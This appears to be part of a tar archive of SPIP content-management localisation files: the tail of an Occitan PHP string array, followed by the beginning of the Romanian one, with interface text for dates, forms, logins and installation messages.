'date_mois_1' => 'genier',
'date_mois_10' => 'octòbre',
'date_mois_11' => 'novembre',
'date_mois_12' => 'decembre',
'date_mois_2' => 'febrier',
'date_mois_3' => 'març',
'date_mois_4' => 'abriu',
'date_mois_5' => 'mai',
'date_mois_6' => 'junh',
'date_mois_7' => 'julh',
'date_mois_8' => 'aost',
'date_mois_9' => 'setembre',
'date_saison_1' => 'ivèrn',
'date_saison_2' => 'prima',
'date_saison_3' => 'estiu',
'date_saison_4' => 'endarrier',
'date_semaines' => 'setmana(s)',
'dirs_commencer' => 'per començar verament l’installacion',
'dirs_preliminaire' => 'Preliminar: <b>Reglar los dreches d’accès</b>',
'dirs_probleme_droits' => 'Problèma de dreches d’accès',
'dirs_repertoires_absents' => '<b>S’es pas trobat los repertòris seguents: <ul>@bad_dirs@.</ul> </b>
<p>Se pòt que vena d’un problèma de majusculas o minusculas mau mesas.
Verificatz que las minusculas e majusculas d’aqueles repertòris correspondan ben amb çò afichat
çai sobre; s’es pas lo cas, tornatz nommar los repertòris amb vòstre logiciau FTP en corregissent l’error.
</p><p>Un còp qu’auretz fach aquò, poiretz </p>',
'dirs_repertoires_suivants' => '<b>Los repertòris seguents son pas accessibles en escritura: <ul>@bad_dirs@.</ul> </b>
<p>Per adobar aquò, utilizatz vòstre client FTP a fin de reglar los dreches d’accès de chascun
d’aqueles repertòris. La guida d’installacion explica en detalh coma chau procedir.
<p>Tre qu’auretz facha aquela manipulacion, poiretz ',
// E
'envoi_via_le_site' => 'Mandaís amb lo biais dau sit web',
// F
'fichier_introuvable' => 'S’es pas pogut trobar lo fichier @fichier@.',
'form_deja_inscrit' => 'Siatz ja inscrich(a).',
'form_email_non_valide' => 'Vòstra adreiça e-mail es pas valida.',
'form_forum_access_refuse' => 'Poètz pas pus accedir a aqueu sit.',
'form_forum_bonjour' => 'Bonjorn @nom@,',
'form_forum_email_deja_enregistre' => 'Aquela adreiça e-mail ja es registraa, adoncas poètz utilizar vòstre mot de santa Clara costumier.',
'form_forum_identifiant_mail' => 'Vos avèm mandat vòstre identificant novèu per e-mail.',
'form_forum_identifiants' => 'Identificants personaus',
'form_forum_indiquer_nom_email' => 'Indicatz aquí vòstre nom e vòstra adreiça e-mail. Vòstre identificant personau arribarà lèu, per e-mail.',
'form_forum_login' => 'login:',
'form_forum_message_auto' => '(aquò’s un messatge automatic)',
'form_forum_pass' => 'mot de santa Clara:',
'form_forum_probleme_mail' => 'Problèma d’e-mail: se pòt pas mandar l’identificant.',
'form_forum_voici1' => 'Vaicí vòstres identificants per poer participar als forums
dau sit "@nom_site_spip@" (@adresse_site@):',
'form_forum_voici2' => 'Vaicí vòstres identificants per prepausar d’articles
sobre lo sit "@nom_site_spip@" (@adresse_login@):',
'form_indiquer_email' => 'Vougatz indicar vòstra adreiça e-mail.',
'form_indiquer_nom' => 'Vougatz indicar vòstre nom.',
'form_indiquer_nom_site' => 'Vougatz indicar lo nom de vòstre sit.',
'form_pet_deja_enregistre' => 'Ja aqueu sit es registrat',
'form_pet_signature_pasprise' => 'Vòstra signatura es pas presa en còmpte.',
'form_prop_confirmer_envoi' => 'Confirmar l’enviament',
'form_prop_description' => 'Descripcion/comentari',
'form_prop_enregistre' => 'Vòstra proposicion es ben registraa, apareisserà en linha tre que los responsables dau sit l’auràn validaa .',
'form_prop_envoyer' => 'Mandar un messatge',
'form_prop_indiquer_email' => 'Vougatz indicar una adreiça e-mail valida',
'form_prop_indiquer_nom_site' => 'Vougatz indicar lo nom dau sit.',
'form_prop_indiquer_sujet' => 'Vougatz indicar un subjècte',
'form_prop_message_envoye' => 'Messatge mandat',
'form_prop_non_enregistre' => 'Vòstra proposicion es pas estaa registraa.',
'form_prop_sujet' => 'Subjècte',
'form_prop_url_site' => 'Adreiça (URL) dau sit', # MODIF
'forum_non_inscrit' => 'Siá siatz pas inscrich(a), siá avètz fach una error d’adreiça o de mot de santa Clara. ',
'forum_par_auteur' => 'per @auteur@',
'forum_titre_erreur' => 'Error...',
// I
'ical_texte_rss_articles' => 'Lo fichier "backend" dels articles d’aquest sit se tròba a l’adreiça:',
'ical_texte_rss_articles2' => 'Atanben poètz obtenir de fichiers "backend" per los articles de chasca rubrica dau sit:',
'ical_texte_rss_breves' => 'Existisson mai d’un fichier contenent las brèvas dau sit. En precisant un numèro de rubrica, obtendretz mas que las brèvas de la rubrica aquela.',
'icone_a_suivre' => 'De seguir',
'icone_admin_site' => 'Administracion dau sit',
'icone_agenda' => 'Agenda e messatjariá',
'icone_aide_ligne' => 'Ajua',
'icone_articles' => 'Articles',
'icone_auteurs' => 'Autors',
'icone_brouteur' => 'Navigacion rapida',
'icone_configuration_site' => 'Configuracion',
'icone_configurer_site' => 'Configurar vòstre sit',
'icone_creer_nouvel_auteur' => 'Crear un autor nòu',
'icone_creer_rubrique' => 'Crear una rubrica',
'icone_creer_sous_rubrique' => 'Crear una sosrubrica',
'icone_deconnecter' => 'Se desconnectar',
'icone_discussions' => 'Discussions',
'icone_doc_rubrique' => 'Documents de las rubricas',
'icone_ecrire_article' => 'Escriure un article nòu',
'icone_edition_site' => 'Edicion',
'icone_gestion_langues' => 'Gestion de las lengas',
'icone_informations_personnelles' => 'Informacions personalas',
'icone_interface_complet' => 'Interfàcia completa',
'icone_interface_simple' => 'Interfàcia simplificaa',
'icone_maintenance_site' => 'Mantenença dau sit',
'icone_messagerie_personnelle' => 'Messatjariá personala',
'icone_repartition_debut' => 'Afichar la reparticion dempuei lo començament',
'icone_rubriques' => 'Rubricas',
'icone_sauver_site' => 'Sauvagarda dau sit',
'icone_site_entier' => 'Tot lo sit ',
'icone_sites_references' => 'Sits referenciats',
'icone_statistiques' => 'Estadisticas dau sit',
'icone_suivi_activite' => 'Seguir l’activitat editoriala',
'icone_suivi_actualite' => 'Evolucion dau sit',
'icone_suivi_pettions' => 'Seguir/gerir las peticions',
'icone_suivi_revisions' => 'Modificacions dels articles',
'icone_supprimer_document' => 'Suprimir aqueu document',
'icone_supprimer_image' => 'Suprimir aquel imatge',
'icone_tous_articles' => 'Tots vòstres articles ',
'icone_tous_auteur' => 'Tots los autors ',
'icone_visiter_site' => 'Vesitar', # MODIF
'icone_voir_en_ligne' => 'Veire en linha',
'img_indisponible' => 'imatge indisponible',
'info_a_suivre' => 'DE SEGUIR>>',
'info_acces_interdit' => 'Accès proïbit',
'info_acces_refuse' => 'Accès refusat',
'info_action' => 'Accion: @action@',
'info_administrer_rubriques' => 'Poètz administrar aquela rubrica e sas sosrubricas',
'info_adresse_non_indiquee' => 'Avètz pas indicat l’adreiça de testar!',
'info_aide' => 'AJUA:',
'info_ajouter_mot' => 'Apondre aqueu mot',
'info_annonce' => 'ANONCI',
'info_annonces_generales' => 'Anoncis generaus:',
'info_article_propose' => 'Article prepausat',
'info_article_publie' => 'Article publicat',
'info_article_redaction' => 'Article en cors de redaccion',
'info_article_refuse' => 'Article refusat',
'info_article_supprime' => 'Article suprimit',
'info_articles' => 'Articles',
'info_articles_a_valider' => 'Los articles de validar',
'info_articles_proposes' => 'Articles prepausats',
'info_auteurs_nombre' => 'autor(s)',
'info_authentification_ftp' => 'autentificacion (per FTP).',
'info_breves_2' => 'brèvas',
'info_connexion_refusee' => 'Connexion refusaa',
'info_contact_developpeur' => 'Vougatz contactar un desvolopaire.',
'info_contenance' => 'Aqueu sit conten:',
'info_contribution' => 'Contribucions de forum', # MODIF
'info_copyright' => '@spip@ es un logiciau liure distribuit @lien_gpl@.',
'info_copyright_doc' => 'Per mai d’informacions, veire lo sit <a href="@spipnet@">http://www.spip.net/oc</a>.', # MODIF
'info_copyright_gpl' => 'sos licéncia GPL',
'info_cours_edition' => 'Vòstres articles en cors de redaccion',
'info_creer_repertoire' => 'Vougatz crear un fichier o un repertòri nommat',
'info_creer_repertoire_2' => 'Dedins lo sosrepertòri <b>@repertoire@</b>, puei:',
'info_creer_vignette' => 'creacion automatica de la vinheta',
'info_deplier' => 'Desplejar',
'info_descriptif_nombre' => 'descriptiu(s):',
'info_description' => 'Descripcion:',
'info_description_2' => 'Descripcion:',
'info_dimension' => 'Dimensions:',
'info_ecire_message_prive' => 'Escriure un messatge privat',
'info_email_invalide' => 'Adreiça e-mail invalida',
'info_en_cours_validation' => 'Vòstres articles en cors de redaccion',
'info_en_ligne' => 'Aüra en linha:',
'info_envoyer_message_prive' => 'Mandar un messatge privat a aquel autor',
'info_erreur_requete' => 'Error dins la requèsta',
'info_erreur_squelette2' => 'Ges d’esqueleta <b>@fichier@</b> es disponibla...',
'info_erreur_systeme' => 'Error sistèma (errno @errsys@)',
'info_erreur_systeme2' => 'Lo disc dur es benlèu plen, o la basa de donaas degalhaa. <br />
<span style="color:red;">Assajatz de <a href=\'@script@\'>reparar la basa</a>, o contactatz vòstre auberjaor.</span>',
'info_fini' => 'Aquò’s achabat!',
'info_format_image' => 'Formats d’imatges que se pòon utilizar per crear de vinhetas: @gd_formats@.',
'info_format_non_defini' => 'format non definit',
'info_grand_ecran' => 'Ecran grand',
'info_image_aide' => 'AJUA',
'info_image_process_titre' => 'Metòde de fabricacion de las vinhetas',
'info_impossible_lire_page' => '<b>Error!</b> Impossible de legir la pagina <tt><html>@test_proxy@</html></tt> a travèrs dau proxy <tt>',
'info_installation_systeme_publication' => 'Installacion dau sistèma de publicacion...',
'info_installer_documents' => 'Poètz installar automaticament tots los documents contenguts dins lo repertòri @upload@.',
'info_installer_ftp' => 'Coma administrator, poètz installar (per FTP) de fichiers dins lo dorsier @upload@, puei los seleccionar directament aicí.',
'info_installer_images' => 'Poètz installar d’imatges als formats JPEG, GIF e PNG.',
'info_installer_images_dossier' => 'Installar d’imatges dins lo dorsier @upload@ per los poer seleccionar aicí.',
'info_interface_complete' => 'Interfàcia completa',
'info_interface_simple' => 'Interfàcia simplificaa',
'info_joindre_document_article' => 'Poètz jónher a aquel article de documents de la mena de',
'info_joindre_document_rubrique' => 'Poètz apondre a aquela rubrica de documents de la mena de',
'info_joindre_documents_article' => 'Poètz jónher a aquel article de documents de la mena de:',
'info_l_article' => 'l’article',
'info_la_breve' => 'la brèva',
'info_la_rubrique' => 'la rubrica',
'info_langue_principale' => 'Lenga majorala dau sit',
'info_largeur_vignette' => '@largeur_vignette@ x @hauteur_vignette@ pixèls',
'info_les_auteurs_1' => 'per @les_auteurs@ ',
'info_logo_format_interdit' => 'Los lògos de formats @formats@ son sols autorizats.',
'info_logo_max_poids' => 'Los lògos an de far mens de @maxi@ (aquest fichier fai @actuel@).',
'info_mail_fournisseur' => 'vos@fornior.com',
'info_message_2' => 'MESSATGE',
'info_message_supprime' => 'MESSATGE SUPRIMIT',
'info_mise_en_ligne' => 'Data de mesa en linha:',
'info_modification_parametres_securite' => 'modificacions dels paramètres de seguretat',
'info_mois_courant' => 'Dins lo corrent dau mes:',
'info_mot_cle_ajoute' => 'S’es apondut lo mot clau seguent a ',
'info_multi_herit' => 'Lenga predefinia',
'info_multi_langues_soulignees' => 'Las <u>lengas solinhaas</u> benefícian d’una reviraa de tots los tèxtes de l’interfàcia. Se seleccionatz aquelas lengas, fòrça elements dau sit public (datas, formularis) se reviraràn automaticament. Per las lengas non solinhaas, aqueles elements apareisseràn dins la lenga principala dau sit.', # MODIF
'info_multilinguisme' => 'Multilingüisme',
'info_nom_non_utilisateurs_connectes' => 'Vòstre nom apareis pas dins la tiera dels utilizaires connectats.',
'info_nom_utilisateurs_connectes' => 'Vòstre nom apareis dins la tiera dels utilizaires connectats.',
'info_nombre_en_ligne' => 'Aüra en linha:',
'info_non_resultat' => 'Ges de resultat per "@cherche_mot@"',
'info_non_utilisation_messagerie' => 'Utilizatz pas la messatjariá intèrna d’aqueu sit.',
'info_nouveau_message' => 'AVÈTZ UN MESSATGE NÒU',
'info_nouveaux_messages' => 'AVÈTZ @total_messages@ MESSATGES NÒUS',
'info_numero_abbreviation' => 'N° ',
'info_pense_bete' => 'MEMENTO',
'info_petit_ecran' => 'Ecran pechon',
'info_pixels' => 'pixèls',
'info_plusieurs_mots_trouves' => 'Mai d’un mot clau trobat per "@cherche_mot@" :',
'info_portfolio_automatique' => 'Pòrtfòlio automatic:',
'info_premier_resultat' => '[@debut_limit@ primiers resultats de @total@]',
'info_premier_resultat_sur' => '[@debut_limit@ primiers resultats de @total@]',
'info_propose_1' => '[@nom_site_spip@] Prepausa: @titre@',
'info_propose_2' => 'Article prepausat
---------------',
'info_propose_3' => 'L’article "@titre@" es prepausat a la publicacion.',
'info_propose_4' => 'Vos conviam a lo venir consultar e a bailar vòstre avís',
'info_propose_5' => 'dins lo forum que li es estachat. Es disponible a l’adreiça:',
'info_publie_01' => 'L’article "@titre@" es estat validat per @connect_nom@.',
'info_publie_1' => '[@nom_site_spip@] PUBLICA: @titre@',
'info_publie_2' => 'Article publicat
--------------',
'info_rechercher' => 'Cerchar',
'info_rechercher_02' => 'Cerchar:',
'info_remplacer_vignette' => 'Remplaçar la vinheta predefinia per un lògo personalizat:',
'info_sans_titre_2' => 'sensa títol',
'info_selectionner_fichier' => 'Poètz seleccionar un fichier dau dorsier @upload@',
'info_selectionner_fichier_2' => 'Seleccionar un fichier:',
'info_supprimer_vignette' => 'suprimir la vinheta',
'info_symbole_bleu' => 'Lo simbèu <b>blau</b> marca un <b>memento</b>: aquò vòu dire un messatge per vòstre usatge personau.',
'info_symbole_jaune' => 'Lo simbèu <b>jaune</b> marca un <b>anonci per tots los redactors </b>: los administrators lo pòon modificar, chasque redactor lo pòt veire.',
'info_symbole_vert' => 'Lo simbèu <b>verd</b> marca los <b>messatges eschambiats amb d’autres utilizaires</b> dau sit.',
'info_telecharger_nouveau_logo' => 'Telecharjar un lògo nòu:',
'info_telecharger_ordinateur' => 'Telecharjar a partir de vòstre ordenaor:',
'info_tous_resultats_enregistres' => '[tots los resultats son registrats]',
'info_tout_afficher' => 'Afichar tot',
'info_travaux_texte' => 'Aqueu sit es pas encara configurat. Tornatz mai tard...',
'info_travaux_titre' => 'Sit en òbras',
'info_trop_resultat' => 'Tròp de resultats per "@cherche_mot@"; vougatz afinar la recèrcha.',
'info_utilisation_messagerie_interne' => 'Utilizatz la messatjariá intèrna d’aqueu sit.',
'info_valider_lien' => 'validar aqueu liam',
'info_verifier_image' => ', vougatz verificar que los imatges se sieian ben transferits.',
'info_vignette_defaut' => 'Vinheta predefinia',
'info_vignette_personnalisee' => 'Vinheta personalizaa',
'info_visite' => 'vesita:',
'info_vos_rendez_vous' => 'Vòstres rendètz-vos venents',
'infos_vos_pense_bete' => 'Vòstres mementos', # MODIF
// L
'lien_afficher_icones_seuls' => 'Afichar mas que las icònas',
'lien_afficher_texte_icones' => 'Afichar las icònas e lo tèxt',
'lien_afficher_texte_seul' => 'Afichar mas que lo tèxt',
'lien_liberer' => 'liberar',
'lien_liberer_tous' => 'liberar aqueles articles', # MODIF
'lien_nouvea_pense_bete' => 'MEMENTO NÒU',
'lien_nouveau_message' => 'MESSATGE NÒU',
'lien_nouvelle_annonce' => 'ANONCI NOVÈU',
'lien_petitions' => 'PETICION',
'lien_popularite' => 'popularitat: @popularite@%',
'lien_racine_site' => 'RAIÇ DAU SIT',
'lien_reessayer' => 'tornar assajar',
'lien_repondre_message' => 'Respòndre a aqueu messatge',
'lien_supprimer' => 'suprimir',
'lien_tout_afficher' => 'Afichar tot',
'lien_visite_site' => 'vesitar aqueu sit',
'lien_visites' => '@visites@ vesitas',
'lien_voir_auteur' => 'Veire aquel autor',
'login_acces_prive' => 'accès a l’espaci privat',
'login_autre_identifiant' => 'se connectar amb un autre identificant',
'login_cookie_accepte' => 'Vougatz configurar vòstre navigaor per que los accèpte (aumens amb aqueu sit).',
'login_cookie_oblige' => 'Per vos identificar d’una maniera segura sus aquest sit, vos chau acceptar los cookies.',
'login_deconnexion_ok' => 'Siatz desconnectat/aa.',
'login_erreur_pass' => 'Error de mot de santa Clara.',
'login_espace_prive' => 'espaci privat',
'login_identifiant_inconnu' => 'L’identificant «@login@» es inconeissut.',
'login_login' => 'Login:',
'login_login2' => 'Login (identificant de connexion au sit):', # MODIF
'login_login_pass_incorrect' => '(Login o mot de santa Clara incorrècte.)',
'login_motpasseoublie' => 'mot de santa Clara eissubliat?',
'login_non_securise' => 'Atencion, aqueu formulari es pas securizat.
Se volètz pas que vòstre mot de santa Clara siá
interceptat sobre lo ret, vougatz activar Javascript
dins vòstre navigaor e',
'login_nouvelle_tentative' => 'novèl assai',
'login_par_ici' => 'Siatz registrat/aa... per aquí...',
'login_pass2' => 'Mot de santa Clara:',
'login_preferez_refuser' => '<b>Se vos plai mai de refusar los cookies</b>, un autre metòde de connexion (mens securizat) es a vòstra disposicion:',
'login_recharger' => 'tornar charjar aquela pagina',
'login_rester_identifie' => 'Restar identificat quauques jorns',
'login_retour_public' => 'Tornar au sit public',
'login_retour_site' => 'Tornar au sit public',
'login_retoursitepublic' => 'tornar au sit public',
'login_sans_cookiie' => 'Identificacion sensa cookie',
'login_sinscrire' => 's’inscriure',
'login_test_navigateur' => 'Assai navigaor/tornar connectar',
'login_verifiez_navigateur' => '(pasmens verificatz que vòstre navigaor aia pas servat vòstre mot de santa Clara en memòria...)',
// M
'module_fichiers_langues' => 'Fichiers de lenga',
// N
'navigateur_pas_redirige' => 'Se vòstre navigaor es pas redirigit, clicatz aicí per contunhar.',
// O
'onglet_affacer_base' => 'Esfaçar la basa',
'onglet_auteur' => 'L’autor',
'onglet_contenu_site' => 'Contengut dau sit',
'onglet_evolution_visite_mod' => 'Evolucion',
'onglet_fonctions_avances' => 'Foncions avançaas',
'onglet_informations_personnelles' => 'Informacions personalas',
'onglet_interactivite' => 'Interactivitat',
'onglet_messagerie' => 'Messatjariá',
'onglet_repartition_rubrique' => 'Reparticion per rubricas',
'onglet_save_restaur_base' => 'Sauvagardar/restaurar la basa',
'onglet_vider_cache' => 'Voidar l’escondeor',
// P
'pass_choix_pass' => 'Vougatz chausir vòstre mot de santa Clara novèu:',
'pass_erreur' => 'Error',
'pass_erreur_acces_refuse' => '<b>Error :</b> poètz pas pus accedir a aqueu sit.',
'pass_erreur_code_inconnu' => '<b>Error:</b> aqueu còde correspònd pas a ges de vesitaire que poissa accedir a aqueu sit.',
'pass_erreur_non_enregistre' => '<b>Error:</b> l’adreiça <tt>@email_oubli@</tt> es pas registraa sus aqueu sit.',
'pass_erreur_non_valide' => '<b>Error:</b> aquel e-mail <tt>@email_oubli@</tt> es pas valid!',
'pass_erreur_probleme_technique' => '<b>Error:</b> per l’amor d’un problèma tecnic, l’e-mail se pòt pas mandar. ',
'pass_espace_prive_bla' => 'L’espaci privat d’aquest sit es dubèrt als
vesitaires que se son inscriches. Un còp registrat/aa,
poiretz consultar los articles en cors de redaccion,
prepausar d’articles novèus e participar a tots los forums.',
'pass_forum_bla' => 'Avètz demandat d’intervenir dins un forum
reservat als vesitaires registrats.',
'pass_indiquez_cidessous' => 'Marcatz çai sos l’adreiça e-mail ont
vos registrèretz lo còp passat.
Recebretz un e-mail que vos bailarà la maniera de
tornar trobar vòstre accès.',
'pass_mail_passcookie' => '(aquò’s un messatge automatic)
Per tornar trobar vòstre accès au sit
@nom_site_spip@ (@adresse_site@)
Vougatz anar a l’adreiça seguenta:
@sendcookie@
Alora poiretz intrar un mot de santa Clara novèu
e vos tornar connectar au sit.
',
'pass_mot_oublie' => 'Mot de santa Clara eissubliat',
'pass_nouveau_enregistre' => 'Vòstre mot de santa Clara novèu es estat registrat.',
'pass_nouveau_pass' => 'Mot de santa Clara novèu',
'pass_ok' => 'Consent',
'pass_oubli_mot' => 'Mot de santa Clara eissubliat',
'pass_quitter_fenetre' => 'Quitar aquesta fenèstra ',
'pass_rappel_login' => 'Remembrança: vòstre identificant (login) es «@login@».',
'pass_recevoir_mail' => 'Recebretz un e-mail que vos explicarà coma tornar trobar vòstre accès au sit.',
'pass_retour_public' => 'Tornar au sit public',
'pass_rien_a_faire_ici' => 'Ren a faire aicí.',
'pass_vousinscrire' => 'S’inscriure sus aquest sit',
'precedent' => 'precedent',
'previsualisation' => 'Previsualizacion',
'previsualiser' => 'Previsualizar',
// S
'stats_visites_et_popularite' => '@visites@ vesitas; popularitat: @popularite@',
'suivant' => 'seguent',
// T
'taille_ko' => '@taille@ Ko',
'taille_mo' => '@taille@ Mo',
'taille_octets' => '@taille@ octets',
'texte_actualite_site_1' => 'Quand vos seretz familharizat/aa amb l’interfàcia, poiretz clicar sobre «',
'texte_actualite_site_2' => 'Interfàcia completa',
'texte_actualite_site_3' => '" per durbir mai de possibilitats.',
'texte_creation_automatique_vignette' => 'La creacion automatica de vinhetas de previsualizacion es activaa sus aqueu sit. S’installatz a partir d’aqueu formulari d’imatges au (als) format(s) @gd_formats@, s’acompanharàn d’una vinheta d’una talha maximala de @taille_preview@ pixèls.',
'texte_documents_associes' => 'Los documents seguents s’assòcian a l’article,
mas s’inserisson pas
directament. Segon la compaginacion dau sit public,
poiràn aparéisser sos forma de documents jonches.',
'texte_erreur_mise_niveau_base' => 'Error de basa de donaas pendent la mesa a nivèu. L’imatge <b>@fichier@</b> es pas passat (article @id_article@).
Notatz ben aquela referéncia, tornatz assajar la mesa a
nivèu, e verificatz puei que los imatges apareissan
encara dins los articles.',
'texte_inc_auth_1' => 'Siatz identificat/aa coma
<b>@auth_login@</b>, mas aqueu login existís pas o pas pus dins la basa.
Assajatz de vos', # MODIF
'texte_inc_auth_2' => 'tornar connectar',
'texte_inc_auth_3' => ', après qu’auretz quitat eventualament, puei
tornat lançar vòstre navigaor.',
'texte_inc_config' => 'Las modificacions fachas dins aquestas paginas influéncian ferme lo
foncionament de vòstre sit. Vos aconselham de pas i intervenir tant que sieiatz pas
acostumat/aa au foncionament dau sistèma SPIP. <br /><br /><b>
En generau, se conselha fòrt
de laissar la charja d’aquestas paginas au webmèstre principau de vòstre sit.</b>',
'texte_inc_meta_1' => 'Lo sistèma a rescontrat una error dins l’escritura dau fichier <code>@fichier@</code>.Volhatz, coma administrator/tritz dau sit,',
'texte_inc_meta_2' => 'verificar los dreches d’escritura',
'texte_inc_meta_3' => 'dins lo repertòri <code>@repertoire@<code>.',
'texte_statut_en_cours_redaction' => 'en cors de redaccion',
'texte_statut_poubelle' => 'au bordilhier',
'texte_statut_propose_evaluation' => 'prepausat per avaloracion',
'texte_statut_publie' => 'publicat en linha',
'texte_statut_refuse' => 'refusat',
'titre_ajouter_mot_cle' => 'APONDRE UN MOT CLAU:',
'titre_cadre_raccourcis' => 'ACORCHAS:',
'titre_changer_couleur_interface' => 'Chambiar la color de l’interfàcia',
'titre_image_admin_article' => 'Poètz administrar aquest article',
'titre_image_administrateur' => 'Administrator',
'titre_image_aide' => 'D’ajua sobre aquel element',
'titre_image_auteur_supprime' => 'Autor suprimit',
'titre_image_redacteur' => 'Redactor sens accès',
'titre_image_redacteur_02' => 'Redactor',
'titre_image_visiteur' => 'Vesitaire',
'titre_joindre_document' => 'JÓNHER UN DOCUMENT',
'titre_mots_cles' => 'MOTS CLAU',
'titre_probleme_technique' => 'Atencion: un problèma tecnic (servior SQL) empacha d’accedir a aquela part dau sit. Mercé de vòstra indulgéncia.',
'titre_publier_document' => 'PUBLICAR UN DOCUMENT DINS AQUELA RUBRICA',
'titre_statistiques' => 'Estadisticas dau sit',
'titre_titre_document' => 'Títol dau document:',
'trad_reference' => '(article de referéncia)', # MODIF
// Z
'zbug_balise_b_aval' => ' : balisa B en avau',
'zbug_boucle' => 'bloca',
'zbug_boucle_recursive_undef' => 'bloca recursiva non definia', # MODIF
'zbug_champ_hors_boucle' => 'Champ @champ@ fòra bloca',
'zbug_champ_hors_motif' => 'Champ @champ@ en defòra d’una blocla de motiu @motif@', # MODIF
'zbug_code' => 'còde',
'zbug_critere_inconnu' => 'critèri inconegut @critere@', # MODIF
'zbug_distant_interdit' => 'extèrne enebit', # MODIF
'zbug_erreur_boucle_double' => 'BLOCA@id@: definicion dobla', # MODIF
'zbug_erreur_boucle_fermant' => 'BLOCA@id@: lo tag barraor manca', # MODIF
'zbug_erreur_boucle_syntaxe' => 'Sintaxi bloca incorrècta', # MODIF
'zbug_erreur_execution_page' => 'error d’execucion de la pagina', # MODIF
'zbug_erreur_filtre' => 'Error: filtre <b>« @filtre@ »</b> non definit', # MODIF
'zbug_erreur_meme_parent' => '{meme_parent} s’aplica mas qu’a las blocas (FORUMS) o (RUBRIQUES)', # MODIF
'zbug_erreur_squelette' => 'Error(s) dins l’esqueleta',
'zbug_info_erreur_squelette' => 'Error sobre lo sit',
'zbug_inversion_ordre_inexistant' => 'inversion d’un òrdre inexistent', # MODIF
'zbug_parametres_inclus_incorrects' => 'Paramètres d’inclusion incorrèctes', # MODIF
'zbug_resultat' => 'resultat',
'zbug_serveur_indefini' => 'servior SQL indefinit', # MODIF
'zbug_table_inconnue' => 'Taula SQL «@table@» inconegua'
);
?>
spip_ro.php 0000666 00000112564 15252547432 0006756 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/spip?lang_cible=ro
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// 0
'0_URL' => 'http://listes.rezo.net/mailman/listinfo/spip-ro',
'0_langue' => 'Română [ro]',
'0_liste' => 'spip-ro@rezo.net',
'0_mainteneur' => 'vmurariu@gmail.com',
// A
'access_interface_graphique' => 'Întoarcere la interfaţa grafică completă',
'access_mode_texte' => 'Afişaţi interfaţa textuală simplă',
'admin_debug' => 'depanare',
'admin_modifier_article' => 'Modificaţi articolul',
'admin_modifier_auteur' => 'Modificaţi autorul',
'admin_modifier_breve' => 'Modificaţi ştirea',
'admin_modifier_mot' => 'Modificaţi cuvântul cheie',
'admin_modifier_rubrique' => 'Modificaţi rubrica',
'admin_recalculer' => 'Recalculaţi această pagină',
'afficher_calendrier' => 'Afişaţi calendarul',
'afficher_trad' => 'afişaţi traducerile',
'alerte_maj_impossible' => '<b>Alertă !</b> Aducerea la zi a bazei de date SQL către versiunea @version@ este imposibilă, probabil din cauza unei probleme de drepturi de modificare în baza de date. Vă rugăm să contactaţi furnizorul dumneavoastră de hosting.',
'alerte_modif_info_concourante' => 'ATENŢIE : Această informaţie a fost modificată. Valoarea curentă este :',
'analyse_xml' => 'Analiză XML',
'annuler' => 'Anulaţi',
'antispam_champ_vide' => 'Vă rugăm să lăsaţi acest câmp gol :',
'articles_recents' => 'Cele mai recente articole',
'avis_archive_incorrect' => 'fişierul arhivă nu este de tip SPIP',
'avis_archive_invalide' => 'fişierul arhivă nu este valid',
'avis_attention' => 'Atenţie!',
'avis_champ_incorrect_type_objet' => 'Numele de câmp @name@ este incorect pentru obiecte de tip @type@ ',
'avis_colonne_inexistante' => 'Coloana @col@ nu există',
'avis_erreur' => 'Eroare: vedeţi mai jos',
'avis_erreur_connexion' => 'Eroare de conexiune',
'avis_erreur_cookie' => 'problemă de cookie',
'avis_erreur_fonction_contexte' => 'Eroare de programare. Această funcţie nu trebuie chemată în acest context.',
'avis_erreur_mysql' => 'Eroare SQL',
'avis_erreur_sauvegarde' => 'Eroare în timpul salvării (@type@ @id_objet@) !',
'avis_erreur_visiteur' => 'Problemă de acces în secţiunea privată',
// B
'barre_a_accent_grave' => 'Inseraţi un A majuscul cu accent grav',
'barre_aide' => 'Utilizaţi secvențele tipografice pentru a îmbogăţi aranjarea în pagină',
'barre_e_accent_aigu' => 'Inseraţi un E majuscul cu accent ascuţit',
'barre_eo' => 'Inseraţi un E în O',
'barre_eo_maj' => 'Inseraţi un E în O majuscul',
'barre_euro' => 'Inseraţi simbolul €',
'barre_gras' => 'Transformaţi în litere {{aldine}} (îngroşate)',
'barre_guillemets' => 'Înconjuraţi cu « ghilimele »',
'barre_guillemets_simples' => 'Înconjuraţi cu “ghilimele de nivel secund”',
'barre_intertitre' => 'Transformaţi în {{{inter-titlu}}}',
'barre_italic' => 'Transformaţi în litere {{italice}} (înclinate)',
'barre_lien' => 'Transformaţi în [legătură hipertext->http://...]',
'barre_lien_input' => 'Vă rugăm să indicaţi adresa legăturii dumneavoastră (puteţi indica o adresă de Web sub forma http://www.situlmeu.ro sau chiar numai numărul unui articol de pe acest site).',
'barre_note' => 'Transformaţi în [[Notă în josul paginii]]',
'barre_paragraphe' => 'Creaţi un paragraf',
'barre_quote' => '<quote>Citaţi un mesaj</quote>',
'bouton_changer' => 'Schimbaţi',
'bouton_chercher' => 'Căutaţi',
'bouton_choisir' => 'Alegeţi',
'bouton_deplacer' => 'Deplasaţi',
'bouton_download' => 'Descărcaţi',
'bouton_enregistrer' => 'Înregistraţi',
'bouton_radio_desactiver_messagerie_interne' => 'Dezactivaţi mesageria internă',
'bouton_radio_envoi_annonces' => 'Trimiteţi anunţurile editoriale',
'bouton_radio_non_envoi_annonces' => 'Nu trimiteţi anunţuri',
'bouton_radio_non_envoi_liste_nouveautes' => 'Nu trimiteţi lista de noutăţi',
'bouton_recharger_page' => 're-încărcați această pagină',
'bouton_telecharger' => 'Descărcaţi',
'bouton_upload' => 'Încărcaţi',
'bouton_valider' => 'Validaţi',
// C
'cal_apresmidi' => 'După-amiază',
'cal_jour_entier' => 'toată ziua',
'cal_matin' => 'dimineaţa',
'cal_par_jour' => 'calendar pe zi',
'cal_par_mois' => 'calendar pe lună',
'cal_par_semaine' => 'calendar pe săptămână',
'choix_couleur_interface' => 'culoare',
'choix_interface' => 'alegerea interfeţei',
'colonne' => 'Coloană',
'confirm_changer_statut' => 'Atenţie, aţi cerut schimbarea stării acestui element. Doriţi să continuaţi ?',
'correcte' => 'corectă',
// D
'date_aujourdhui' => 'astăzi',
'date_avant_jc' => 'înaintea erei noastre',
'date_dans' => 'în @delai@',
